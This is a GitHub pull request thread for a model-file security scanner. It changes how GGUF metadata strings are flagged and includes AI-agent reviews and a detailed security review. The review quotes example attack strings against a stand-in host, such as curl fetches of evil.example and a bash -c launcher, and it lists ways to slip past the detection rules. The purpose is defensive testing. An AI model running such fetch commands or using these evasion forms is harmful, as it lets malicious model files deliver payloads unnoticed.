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fix(gguf): calibrate metadata string findings - #1651

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mdangelo/codex/hf-fp-t27-gguf-metadata-calibration-20260610
Jun 12, 2026
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mldangelo-oai merged 35 commits into
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mdangelo/codex/hf-fp-t27-gguf-metadata-calibration-20260610

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Summary

Calibrates GGUF metadata string findings so benign punctuation does not produce S902 by itself.

Root cause: GgufScanner treated any metadata value containing /, \, ;, &&, |, or backticks as suspicious. That flagged ordinary repository URLs and normal Gemma chat-template syntax even when the dedicated Jinja analysis found no unsafe template behavior.

Security tradeoff: GGUF metadata values now require concrete evidence before adding S902:

  • path traversal via decoded .. path segments
  • command execution APIs or shell command forms
  • active remote-fetch commands/APIs

Chat-template metadata is delegated to the existing Jinja scanner, so unsafe templates still produce Jinja findings while normal template syntax stays clean. Malformed metadata, duplicate keys, metadata/tensor parser budgets, oversized chat templates, and GGUF bounded-parser failures are unchanged.

Validation

  • uv sync --extra all-ci
  • uv run ruff format modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • uv run ruff check --fix modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • uv run ruff check modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • uv run ruff format --check modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • uv run mypy modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest tests/scanners/test_gguf_scanner.py tests/scanners/test_jinja2_template_scanner.py -q
    • 480 passed, 1 skipped (gguf optional package unavailable)
  • git diff --check
  • PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest -n auto -m "not slow and not integration" --maxfail=1
    • 18549 passed, 793 skipped, 40 warnings

Pinned Real-Model QA

Used 128 MiB real HF prefixes from exact pinned /resolve/<sha>/...gguf URLs, written into sparse local files with the advertised model sizes. This exercises ModelAudit's local end-to-end GGUF scan path without materializing multi-GB tensor payloads.

OBLITERATUS/Gemma-4-12B-OBLITERATED @ f81b0cbd28a3650138635823bc101adb56a0bc4a

  • File: Gemma-4-12B-OBLITERATED-Q4_K_M.gguf
  • Sparse size: 7381382208
  • Command:
    PROMPTFOO_DISABLE_TELEMETRY=1 uv run modelaudit scan ../qa/pinned-gguf-prefixes/obliteratus-gemma-4-12b-obliterated-q4_k_m.sparse.gguf --format json --output ../qa/final-obliteratus.json --no-cache --max-size 8GB
  • Pre-fix: 2 S902 metadata-value issues (general.base_model.0.repo_url, tokenizer.chat_template)
  • Post-fix: success: true, issue_count: 0

unsloth/gemma-4-12B-it-qat-GGUF @ 7102bdea62863acff919c945405ef29973113d66

  • File: gemma-4-12B-it-qat-UD-Q4_K_XL.gguf
  • Sparse size: 6716355328
  • Command:
    PROMPTFOO_DISABLE_TELEMETRY=1 uv run modelaudit scan ../qa/pinned-gguf-prefixes/unsloth-gemma-4-12b-it-qat-ud-q4_k_xl.sparse.gguf --format json --output ../qa/final-unsloth.json --no-cache --max-size 8GB
  • Pre-fix: 1 S902 metadata-value issue (tokenizer.chat_template)
  • Post-fix: success: true, issue_count: 0

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@codex review

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github-actions Bot commented Jun 11, 2026 •

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Workflow run and artifacts

Performance Benchmarks

Compared 12 shared benchmarks with a regression threshold of 15%.
Status: 0 regressions, 0 improved, 12 stable, 0 new, 0 missing.
Aggregate shared-benchmark median: 1.473s -> 1.462s (-0.8%).

Workload Benchmark Target Size Files Baseline Current Change Status
direct-malicious-upload tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_direct_malicious_upload malicious_reduce 52 B 1 457.9us 471.8us +3.0% stable
warm-cache-rescan tests/benchmarks/test_scan_benchmarks.py::test_scan_warm_cached_repository_rescan release-candidate 547.3 KiB 32 112.38ms 110.52ms -1.7% stable
suspicious-pickle-intake tests/benchmarks/test_scan_benchmarks.py::test_scan_suspicious_pickle_intake suspicious-intake 183.8 KiB 4 146.12ms 143.82ms -1.6% stable
mixed-model-repository tests/benchmarks/test_scan_benchmarks.py::test_scan_release_candidate_repository release-candidate 547.3 KiB 32 497.45ms 491.03ms -1.3% stable
single-checkpoint-preflight tests/benchmarks/test_scan_benchmarks.py::test_scan_single_checkpoint_before_load single_checkpoint.pkl 183.0 KiB 1 74.42ms 75.17ms +1.0% stable
nested-payload-review tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_nested_payload_review[nested_raw] nested_raw 78 B 1 509.2us 506.0us -0.6% stable
nested-payload-review tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_nested_payload_review[nested_hex] nested_hex 130 B 1 547.3us 549.3us +0.4% stable
nested-payload-review tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_nested_payload_review[nested_base64] nested_base64 98 B 1 512.6us 514.3us +0.3% stable
duplicate-heavy-registry tests/benchmarks/test_scan_benchmarks.py::test_scan_duplicate_registry_snapshot registry-snapshot 915.2 KiB 13 409.89ms 408.61ms -0.3% stable
padded-multi-stream-upload tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_padded_multi_stream_upload multi_stream_padded 4.1 KiB 1 569.1us 570.5us +0.3% stable
chunked-upload-stream tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_chunked_upload_stream chunked_stream 278.2 KiB 1 116.86ms 116.72ms -0.1% stable
clean-training-checkpoint tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_clean_training_checkpoint safe_large 278.2 KiB 1 113.43ms 113.47ms +0.0% stable

Comment thread modelaudit/scanners/gguf_scanner.py Fixed
Comment thread modelaudit/scanners/gguf_scanner.py Fixed

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@mldangelo-oai

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@codex address that feedback. Fix all five unresolved threads on the exact current head: eliminate both CodeQL regex backtracking paths with bounded/linear parsing, preserve curl URLs when output/options precede them, support keyword-argument network API calls, and detect common command prefixes such as sudo before destructive commands. Add adversarial performance tests plus malicious and benign end-to-end GGUF metadata regressions, push a new head, and report focused/broad test evidence.

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@codex review latest

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Codex Review: Didn't find any major issues. 👍

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Summary

Testing

  • ✅ uv run ruff format modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • ✅ uv run ruff check --fix modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • ✅ uv run ruff format --check modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • ✅ uv run mypy modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • ✅ PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest tests/scanners/test_gguf_scanner.py -q — 76 passed, 1 skipped; skip was due missing jinja2.sandbox.
  • ✅ PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest -n auto tests/scanners/test_gguf_scanner.py -q — 76 passed, 1 skipped; skip was due missing jinja2.sandbox.
  • ✅ git diff --check
  • ⚠️ PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest -n auto -m "not slow and not integration" --maxfail=1 — attempted twice for broad validation, but manually terminated after prolonged runtime; xdist emitted one F marker before termination and did not print failure details.

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@codex review latest after addressing the metadata evidence feedback

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@codex review latest after addressing split rm options, command-span fetch evidence, and bounded URL scanning

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Additional pinned GGUF metadata QA: unsloth/gemma-4-E4B-it-qat-GGUF@bbcd9d849c2541ecc2af7ef64b3c3c2c7aa14e96 and ggml-org/gemma-4-12B-it-GGUF@44ee90c4b61e888ac5b318a54ec7a94df61e9cd7 produce large S902 floods from normal chat templates and general.license.link metadata, mixed with the separate type-30 issue tracked on #1632. Calibrate only inert metadata values; keep executable template/code and malformed GGUF controls.

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Additional pinned GGUF metadata QA: HauhauCS/Qwen3.5-9B-Uncensored-HauhauCS-Aggressive@0a41c68809d375475f954be12ba7c40efa56c2a9 produced a very large S902 stream from a normal tokenizer.chat_template alongside the valid BF16/type-30 records. @codex test this exact GGUF on the current branch, quantify metadata findings before/after, and preserve detection for executable SSTI primitives, untrusted callable metadata, malformed strings, and unknown keys.

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Comment thread modelaudit/scanners/gguf_scanner.py
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@codex include this additional BF16 calibration fixture: yuxinlu1/gemma-4-12B-it-Claude-4.6-4.8-Opus-GGUF@19e33723755977da0b9b5482a88772aad4dfce03 emits repeated unknown-type findings for valid GGUF type 30 and leaves the BF16 MTP file inconclusive.

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Summary

  • Accepted GGUF BF16 tensor type 30 with block size 1 and type size 2, preventing valid BF16 tensors from being reported as unknown GGML types and making BF16 MTP sidecar scans conclusive.
  • Added a repeated type-30 tensor fixture helper and a pinned-regression test for yuxinlu1/gemma-4-12B-it-Claude-4.6-4.8-Opus-GGUF@19e3372, asserting no Tensor Type Validation failures, no unknown-type issues, successful aggregate scan, and exit code 0.
  • Added an [Unreleased] changelog entry for accepting GGUF BF16 tensor type 30.
  • Committed the changes with eed3844 fix(gguf): accept BF16 tensor type and created the PR via make_pr.

Testing

  • ✅ uv run ruff format modelaudit/scanners/gguf_scanner.py tests/scanners/test_gguf_scanner.py
  • ✅ uv run ruff check --fix modelaudit/scanners/gguf_scanner.py tests/scanners/test_gguf_scanner.py
  • ✅ PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest tests/scanners/test_gguf_scanner.py::test_gguf_bf16_tensor_type_30_is_accepted_for_pinned_mtp_fixture -q — 1 passed
  • ✅ PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest tests/scanners/test_gguf_scanner.py -q — 78 passed, 1 skipped
  • ✅ uv run ruff format --check modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • ✅ uv run ruff check modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • ✅ uv run mypy modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/
  • ✅ git diff --check
  • ⚠️ PROMPTFOO_DISABLE_TELEMETRY=1 uv run pytest -n auto -m "not slow and not integration" --maxfail=1 — started broad validation; it reached 30% after several minutes and showed one early F marker without failure details before I terminated the prolonged run.

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Comment thread modelaudit/scanners/gguf_scanner.py
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Pinned real-model QA from Hugging Face rank 250 on exact main 8d6c4864:

HauhauCS/Gemma-4-E4B-Uncensored-HauhauCS-Aggressive@45b6a334b4bcd1d7f37179df58b3b1d66a184e5d scans 11 valid GGUF variants and repeats three benign metadata findings per file:

  • tokenizer.chat_template: inert Jinja chat-template source
  • quantize.imatrix.dataset: local build provenance path
  • quantize.imatrix.file: local build provenance path

That is 33 informational metadata false positives. Please add the exact pinned model as an end-to-end regression and ensure calibration does not hide genuinely executable or attacker-controlled metadata. Full audit: /Users/mdangelo/modelaudit-hf-scan-swarm/outputs/hf-audit-r250-r252-20260611.md.

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Additional exact-main GGUF metadata QA from Hugging Face rank 253:

google/gemma-4-E2B-it-qat-q4_0-gguf@1894d1fc0a19d86697abd40483f5983c867df03f/gemma-4-E2B_q4_0-it.gguf emits an informational S902 for its inert tokenizer.chat_template. This repeats the rank-250 chat-template family on a Google-published model.

Please include the exact pinned file in current-head QA and preserve detection for genuinely dangerous metadata. Full audit: /Users/mdangelo/modelaudit-hf-scan-swarm/outputs/hf-audit-r253-r254-20260611.md.

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Security Review: promptfoo/modelaudit PR #1651

Scope

  • Review mode: read-only adversarial merge gate plus diff-scoped security review.
  • Exact live target: base 8d6c4864fe2ea833ceaef1b9803d225afb1e8d69, head 60847c32c3f1cc5d61bf5f953fa295fcd4b193ab.
  • Isolated checkout: /tmp/modelaudit-pr1651-independent-60847c32; the user's checkout was not used or modified.
  • Changed files: CHANGELOG.md, modelaudit/scanners/gguf_scanner.py, and tests/scanners/test_gguf_scanner.py.
  • Security worklist: the single changed source file was read in full (1381/1381 lines); supporting Jinja analysis, changed tests, root AGENTS.md, all PR comments/reviews/threads, pinned model artifacts, and current/base behavior were inspected.
  • Runtime validation: focused unit, type/lint/format, exact pinned sparse-prefix GGUF, adversarial metadata, malformed input, resource-bound, and false-negative controls.
  • Limitations: direct CLI JSON-output validation hit a pre-existing local acl_extended_fd_np runtime-symbol failure outside this diff, so pinned end-to-end scans used scan_model_directory_or_file. One optional-gguf Jinja test skipped because that optional package is absent; the production GgufScanner path and real prefixes were still exercised.

Scan Summary

Field Value
Reportable findings 4
Severity mix 4 medium
Confidence mix 4 high
Diff coverage 1/1 source rows complete; all changed hunks and supporting controls reviewed
Validation mode Real file-interface reproduction, exact base/head comparison, focused tests, static control tracing
Merge disposition Request changes / do not merge

Artifacts:

  • Security markdown: /tmp/codex-security-scans/modelaudit/60847c32c3f1cc5d61bf5f953fa295fcd4b193ab_20260611T053216Z/report.md
  • Security HTML: /tmp/codex-security-scans/modelaudit/60847c32c3f1cc5d61bf5f953fa295fcd4b193ab_20260611T053216Z/report.html
  • User-requested merge-gate report: /Users/mdangelo/modelaudit-pr-swarm/outputs/pr-1651-independent-review-20260611.md

Threat Model

The repository's authoritative AGENTS.md is the persisted threat-model source for this scan.

  • ModelAudit is a security scanner for untrusted AI/ML model files and publishes a public Python package and CLI.
  • The primary trust boundary is attacker- or third-party-controlled model bytes entering a trusted scanner and producing findings used by developers or automation.
  • Production scanner code, parser bounds, fail-closed outcomes, finding integrity, and preservation of malicious positive detections are in scope.
  • Repository invariants require security-first changes, prohibit weakening detections, require benign and malicious regression tests, and require operationally explicit fail-closed behavior for incomplete analysis.
  • Attacker-controlled inputs include GGUF metadata keys/values, chat templates, tensor declarations, malformed framing, counts, and sizes.
  • Relevant controls include bounded metadata/tensor parsing, explicit inconclusive outcomes, Jinja analysis for chat templates, and S902 metadata evidence.
  • A missed finding is security-relevant when attacker-controlled model content bypasses a production detection control. Severity is limited when the repository does not establish a downstream execution sink or when the scanner still fails closed.

Findings

Severity Finding Confidence
medium Curl options with separate values stop remote-fetch detection high
medium Absolute-path shell launchers bypass shell-command evidence high
medium Network API detection misses URLs assigned before the call high
medium Remote-fetch detection excludes valid curl destinations outside three schemes high

Confidence Scale

Label Meaning
high Direct runtime and source evidence supports the finding with no material uncertainty about scanner behavior.
medium Source evidence supports a plausible issue, but runtime or reachability proof remains incomplete.
low Weak or incomplete evidence; not used in this report.

[1] Curl options with separate values stop remote-fetch detection

Field Value
Severity medium
Confidence high (99%)
Confidence rationale The exact file-interface behavior was reproduced on the pinned base and head, and the loop break is deterministic.
Category Security detection bypass / incomplete command parsing
CWE CWE-184: Incomplete List of Disallowed Inputs
Affected lines modelaudit/scanners/gguf_scanner.py:68-94, modelaudit/scanners/gguf_scanner.py:1084-1100

Summary

_fetch_segment_has_remote_url treats only a small allowlist of curl/wget options as consuming a following value. For curl -X POST https://evil.example/p, -X is not recognized, the parser advances to POST, then breaks before the URL. This removes the S902 signal for an active fetch command even though the change promises concrete command/fetch evidence and repository policy requires preserving malicious detections.

Validation

Method: generated GGUF fixture through GgufScanner, exact current/base comparison, and source trace.

  • Attacker-controlled GGUF metadata reaches the changed evidence gate.
  • curl -X POST URL is a valid active curl command.
  • The base emits a Metadata Value Security Check.
  • Head 60847c32 emits no metadata finding.
  • No compensating GGUF control reports the fetch.

The same parser class is vulnerable to other omitted value-taking options. The reproduction is not dependent on optional packages or host state.

Dataflow

GGUF string metadata -> _metadata_value_security_evidence -> _shell_remote_fetch_pattern -> _has_fetch_command_with_url -> _fetch_segment_has_remote_url -> unknown -X value token -> break -> no S902 check.

Reachability

Any party able to supply a GGUF can choose this metadata. The production scanner parses it without authentication. The immediate impact is loss of a security finding; the repository does not establish that ModelAudit executes the command or that a downstream loader necessarily does.

Severity

Medium. The bypass is trivial and directly affects a production security control, but direct code execution is not proven in this repository and S902 is informational. Additional evidence that a supported downstream consumer executes or trusts this metadata would raise severity; proof that all consumers ignore it would lower impact.

Remediation

Use a bounded shell tokenizer and an authoritative option-arity table, or otherwise continue scanning safely past recognized value operands without stopping at the first ordinary token. Add malicious tests for -X/--request, --retry, proxy/auth/header/output options, quoted values, and benign prose controls.

[2] Absolute-path shell launchers bypass shell-command evidence

Field Value
Severity medium
Confidence high (99%)
Confidence rationale A real GGUF fixture reproduces the miss, and the changed regex visibly permits only bare shell names.
Category Security detection bypass / incomplete executable normalization
CWE CWE-184: Incomplete List of Disallowed Inputs
Affected lines modelaudit/scanners/gguf_scanner.py:56-59, modelaudit/scanners/gguf_scanner.py:1165-1181

Summary

The shell_command regex matches bash -c and peers only when the command is bare. /bin/bash -c 'curl https://evil.example/p' no longer produces S902 after the PR removes slash-only metadata findings. Path-qualified fetch commands were normalized elsewhere, but shell launchers were not.

Validation

Method: generated GGUF fixture through the real scanner, exact current/base comparison, and regex trace.

  • Attacker-controlled metadata reaches the changed regex.
  • The input is a standard executable shell -c form.
  • The base emits a Metadata Value Security Check.
  • Head 60847c32 emits no metadata finding.
  • No other command/fetch control reports the input.

Dataflow

GGUF string metadata -> _metadata_value_security_evidence -> _GGUF_METADATA_COMMAND_PATTERNS -> bare-name shell regex mismatch on /bin/bash -> no command-execution evidence -> no S902 check.

Reachability

A malicious model author controls the metadata string and can use ordinary absolute executable paths. The finding affects report integrity at the model-file trust boundary. No execution by ModelAudit itself is claimed.

Severity

Medium. The production scanner deterministically loses an explicit command-execution signal, but downstream execution and major compromise are not proven. Evidence of a loader executing this field would raise severity; an exact downstream non-execution invariant would lower it.

Remediation

Normalize the candidate executable to its basename before command classification, or extend the bounded parser already used for fetch commands to shell launchers. Cover Unix paths, Windows paths, .exe, prefixes such as env/sudo, and benign path prose.

[3] Network API detection misses URLs assigned before the call

Field Value
Severity medium
Confidence high (97%)
Confidence rationale Current/base file-interface behavior is direct, while only the intended bounded semantic depth remains a design choice.
Category Security detection bypass / incomplete same-value dataflow correlation
CWE CWE-184: Incomplete List of Disallowed Inputs
Affected lines modelaudit/scanners/gguf_scanner.py:1125-1131, modelaudit/scanners/gguf_scanner.py:1151-1162

Summary

The network API helper searches only the immediate call argument window for a literal URL. A single metadata value containing url='https://evil.example/p'; requests.get(url) has both concrete destination and active API evidence, but the head emits no S902 finding. This is a direct regression from the base punctuation signal and a current unresolved review blocker.

Validation

Method: generated GGUF fixture through the real scanner, exact current/base comparison, and bounded dataflow trace.

  • Attacker-controlled metadata reaches the changed API control.
  • One bounded value contains a literal remote URL and a network call.
  • The base emits a Metadata Value Security Check.
  • Head 60847c32 emits no metadata finding.
  • No assignment/call correlation control exists.

The scanner intentionally avoids full language interpretation; the report does not require general Python execution analysis, only preservation of this concrete same-value case.

Dataflow

GGUF string metadata -> _network_api_remote_fetch_pattern finds requests.get -> _api_argument_window_has_remote_url slices only (url) -> no literal scheme in argument slice -> no network evidence -> no S902 check.

Reachability

A model author can place the code-like string in ordinary metadata. The production scanner reports the file without this signal. The attack boundary is the untrusted artifact to scanner result; no runtime execution sink is asserted.

Severity

Medium. The omission is easy to trigger and violates a security-control invariant, but the direct consequence is a missing informational finding rather than proven compromise. A verified loader consuming executable metadata would raise severity; a documented restriction that such fields are never used would lower it.

Remediation

Add bounded same-statement literal-assignment correlation for supported API calls, or use a bounded AST/token parser for Python-like snippets. Keep strict byte/step budgets and add positive tests for variable assignment plus negative tests for documentation prose and unrelated URLs.

[4] Remote-fetch detection excludes valid curl destinations outside three schemes

Field Value
Severity medium
Confidence high (99%)
Confidence rationale Two valid curl forms reproduce on exact base/head, and the local curl manual confirms both protocol guessing and GOPHER support.
Category Security detection bypass / incomplete URL classification
CWE CWE-184: Incomplete List of Disallowed Inputs
Affected lines modelaudit/scanners/gguf_scanner.py:105, modelaudit/scanners/gguf_scanner.py:1065-1067, modelaudit/scanners/gguf_scanner.py:1134-1137

Summary

_GGUF_REMOTE_URL_SCHEMES contains only http://, https://, and ftp://. Curl accepts URLs without a leading scheme by guessing a protocol and supports additional remote schemes including GOPHER/GOPHERS. Consequently, curl evil.example/payload.sh and curl gopher://evil.example/_payload are concrete active fetches that the head reports clean; the base emitted S902 because the values contain slashes.

Validation

Method: generated GGUF fixtures through the real scanner, exact current/base comparison, and local curl 8.7.1 protocol/manual verification.

  • Attacker-controlled metadata reaches the changed fetch control.
  • Both commands are valid active remote fetches for curl.
  • The base emits Metadata Value Security Checks.
  • Head 60847c32 emits no metadata findings.
  • No compensating classification handles scheme-less or GOPHER destinations.

This issue was not present in the fetched prior review threads and is an independent new finding.

Dataflow

GGUF string metadata -> _shell_remote_fetch_pattern -> _has_remote_url rejects the whole value or _is_remote_url_token rejects the operand -> fetch command is never correlated with a destination -> no S902 check.

Reachability

A malicious model author can use syntax accepted by common curl builds. The exact supported protocol set varies by build, but scheme guessing and the tested GOPHER support are concrete on the validation host. Immediate impact remains scanner-report integrity.

Severity

Medium. This is a reliable bypass of the new security evidence gate, but the repository does not prove an execution sink or major downstream impact. A supported consumer that runs these commands would raise severity; restricting the detection contract to a documented smaller protocol set would lower scope but would contradict the PR's active-fetch framing.

Remediation

Classify destinations using command semantics rather than a three-scheme tuple. At minimum, handle scheme-less host/path operands and curl-supported remote schemes under a bounded allowlist, while treating local schemes such as file:// under an appropriate local-file evidence category. Add positive and benign near-match tests.

Reviewed Surfaces

Surface Risk Area Outcome Notes
modelaudit/scanners/gguf_scanner.py Metadata evidence parsing Reported C001-C004; full file reviewed.
Regex backtracking paths CPU exhaustion No issue found Both prior CodeQL threads are resolved/outdated; CodeQL is green and adversarial punctuation stays bounded.
URL-position allocation Memory exhaustion No issue found Current implementation iterates positions; 0.9-0.96 MiB stress cases completed in at most 0.605 seconds.
Known malicious positives Detection preservation No issue found Quoted curl headers, keyword API URLs, subprocess calls, traversal, prefixed/split/trailing rm, and small SSTI remained detected.
Malformed/resource inputs Fail-closed behavior No issue found Truncated metadata and low metadata-byte budgets returned explicit inconclusive outcomes.
Oversized chat templates Incomplete template analysis Rejected Primitive detail is absent, but size-limit evidence, failure, inconclusive state, and exit 2 prevent a clean result.
Pinned benign GGUF metadata False-positive calibration No issue found Exact Hauhau metadata improved 33 -> 0; exact Google metadata improved 1 -> 0.
Changed tests/changelog Coverage and documentation No issue found Tests pass, but they omit the four reportable adversarial forms.

PR Merge-Gate State

  • Live head rechecked: 60847c32c3f1cc5d61bf5f953fa295fcd4b193ab (unchanged).
  • Live base rechecked: 8d6c4864fe2ea833ceaef1b9803d225afb1e8d69.
  • Branch relation: 5 commits ahead, 0 behind; merge base equals live base; GitHub says mergeable.
  • GitHub merge state: BLOCKED; review decision: REVIEW_REQUIRED.
  • CI: 23 passing, 6 skipped, 0 pending/failed. CI Success, Windows, Python 3.10/3.12/3.13, CodeQL, Docker, type, lint, package, docs, dependency audit, and benchmarks are green. Performance report: 0 regressions across 12 shared benchmarks (+1.1% aggregate median).

Thread Reconciliation

  • Total threads: 15; 2 resolved, 13 unresolved.
  • Eight unresolved threads are outdated and fixed on the head: output-option curl, keyword API args, command prefixes, split rm, command-span prose false positives, URL-position allocation, trailing rm options, and path-qualified fetch commands.
  • Five unresolved threads are attached to current code:
    • Quoted option values: already fixed and independently reproduced as detected; non-actionable stale feedback on current code.
    • Oversized chat templates: rejected as a merge blocker because the path fails closed with exit 2; diagnostic specificity remains reduced.
    • curl -X POST URL: actionable, Finding 1.
    • Absolute-path shell launcher: actionable, Finding 2.
    • URL assignment before API call: actionable, Finding 3.
  • Independent review added Finding 4 for scheme-less and non-three-scheme curl destinations.

Validation Evidence

  • pytest tests/scanners/test_gguf_scanner.py -q: 83 passed in 11.84s.
  • Targeted Jinja tests: 2 passed, 1 skipped because optional gguf is absent.
  • Ruff check: passed; format check: passed; targeted mypy: passed.
  • Fresh revision-pinned downloads:
    • Hauhau Q4_K_M: x-repo-commit=45b6a334..., range 0-134217727/5335285728.
    • Google Q4_0: x-repo-commit=1894d1fc..., range 0-134217727/3349514112.
  • Sparse-prefix core scans:
    • Hauhau base: exit 2, 4 issues, 3 metadata issues; head: exit 2, 1 issue, 0 metadata issues. The remaining type-30 issue is pre-existing and outside this PR (fix: recognize GGUF BF16 tensor type #1632).
    • Google base: exit 0, 1 metadata issue; head: exit 0, 0 issues.
  • Exact metadata fixtures from all eleven Hauhau model variants: 33 -> 0 metadata findings; no Jinja findings.
  • Exact Google chat template: 1 -> 0 metadata findings; no Jinja findings.
  • Adversarial head controls preserved expected detections for quoted header curl, keyword API calls, subprocess, traversal, destructive rm, and small SSTI.
  • Malformed framing and metadata-byte bounds remained fail closed.

Changed-Code vs Pre-existing Behavior

  • Findings 1-4 are introduced by this PR: the pinned base emits a metadata finding for each exact fixture and the head does not.
  • Hauhau's remaining GGML type-30 issue exists on the base and is tracked separately under fix: recognize GGUF BF16 tensor type #1632; it is not a PR fix(gguf): calibrate metadata string findings #1651 regression.
  • The local CLI output-preflight acl_extended_fd_np symbol failure is outside the diff and was bypassed with the library's real core scan path; it is not attributed to this PR.
  • Optional gguf package absence caused one targeted Jinja test skip; it did not prevent direct GGUF scanner or real-prefix validation.

Merge Disposition

Request changes / do not merge at 60847c32c3f1cc5d61bf5f953fa295fcd4b193ab.

The intended false-positive calibration is demonstrated and CI is green, but four deterministic changed-code false negatives remain in the same security evidence gate. Merge after all four forms are covered with bounded malicious-positive and benign-negative regressions, then rerun pinned GGUF QA and exact-head CI.

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@codex review

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💡 Codex Review

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Reviewed commit: 06212e55db

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Codex Review: Didn't find any major issues. More of your lovely PRs please.

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@mldangelo-oai
mldangelo-oai enabled auto-merge (squash) June 11, 2026 12:38
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mldangelo-oai disabled auto-merge June 11, 2026 12:42
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Exact-head independent review of 9de77ad32bbea9e44919d9b57518ce91c61d707f remains blocked despite green CI and zero unresolved review threads.

P2: curl short-option forms bypass remote-fetch detection

The GGUF scanner misses curl -f URL, curl -O URL, curl -K config URL, and curl -fO URL; only the longer bundled -fsSLo control was detected. The parser treats -f as value-consuming, lowercases -O into -o semantics, and does not model -K/--config before the URL.

P2: legal spaced attribute calls are false positives

model . eval(...) and runner . exec(...) are reported as standalone command-execution APIs while their tight forms are correctly excluded. The immediate-dot negative lookbehind does not account for legal Python whitespace around attribute access.

P3: rank-262-shaped tokenizer output remains unbounded

A synthetic GGUF with 262,144 tokenizer tokens, merges, and scores produced a 13.3 MB JSON result with no metadata-array truncation flags. This is residual resource/output risk rather than a merge blocker by itself.

Validation on this exact head: full GGUF scanner tests 142 passed, 1 skipped; focused edge tests 7 passed; changed cache tests 2 passed; all required GitHub checks passed; 41 review threads, 0 unresolved. Please address the two P2 regressions and re-request exact-head review.

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Codex Review: Didn't find any major issues. Another round soon, please!

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Closeout on head 46dd79096bc8c16801a798fca520e8a3b63e3c08:

  • Fixed the exact-head GGUF findings from #issuecomment-4680894687: curl short-option/bundle parsing (-f, -O, -K/--config, -fO, mixed bundles), spaced Python attribute-call false positives (model . eval(...), runner . exec(...)), and rank-262-shaped tokenizer metadata output bounding with explicit truncation metadata.
  • Added direct GGUF, directory, archive/CLI, false-positive/false-negative, option-bundle, whitespace, cache/output-bound, and real-model-shaped regressions.
  • Merged current origin/main additively before final validation; it was already up to date.

Validation:

  • PROMPTFOO_DISABLE_TELEMETRY=1 uv run --frozen pytest tests/scanners/test_gguf_scanner.py tests/cache/test_cache_correctness.py tests/utils/sources -q => 1150 passed, 4 skipped
  • PROMPTFOO_DISABLE_TELEMETRY=1 uv run --frozen pytest tests/scanners/test_gguf_scanner.py -q => 164 passed, 1 skipped
  • uv run --frozen ruff check modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/ => pass
  • uv run --frozen ruff format --check modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/ => pass
  • uv run --frozen mypy modelaudit/ packages/modelaudit-picklescan/src packages/modelaudit-picklescan/tests tests/ => pass
  • PROMPTFOO_DISABLE_TELEMETRY=1 uv run --frozen pytest -n auto -m "not slow and not integration" --maxfail=1 => 17473 passed, 1292 skipped, 39 warnings
  • GitHub exact-head CI => all required checks green.

Review state: 41 review threads, 0 unresolved; fresh @codex review returned clean. mldangelo review is requested and PR remains REVIEW_REQUIRED, so auto-merge is intentionally not enabled until the human approval gate is satisfied.

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Closeout Acknowledged

  • Confirmed the checkout is on head 46dd79096bc8c16801a798fca520e8a3b63e3c08 on branch work.
  • Confirmed the working tree is clean, so I did not create a commit and did not call make_pr.

Checks

  • ✅ pwd && git status --short && git rev-parse HEAD && git branch --show-current
  • ✅ git status --porcelain=v1

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Reviewed commit: f102d0d68f

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Reviewed commit: a0d2318d6d

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mldangelo-oai merged commit f3e77e4 into main Jun 12, 2026
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mldangelo-oai deleted the mdangelo/codex/hf-fp-t27-gguf-metadata-calibration-20260610 branch June 12, 2026 00:37
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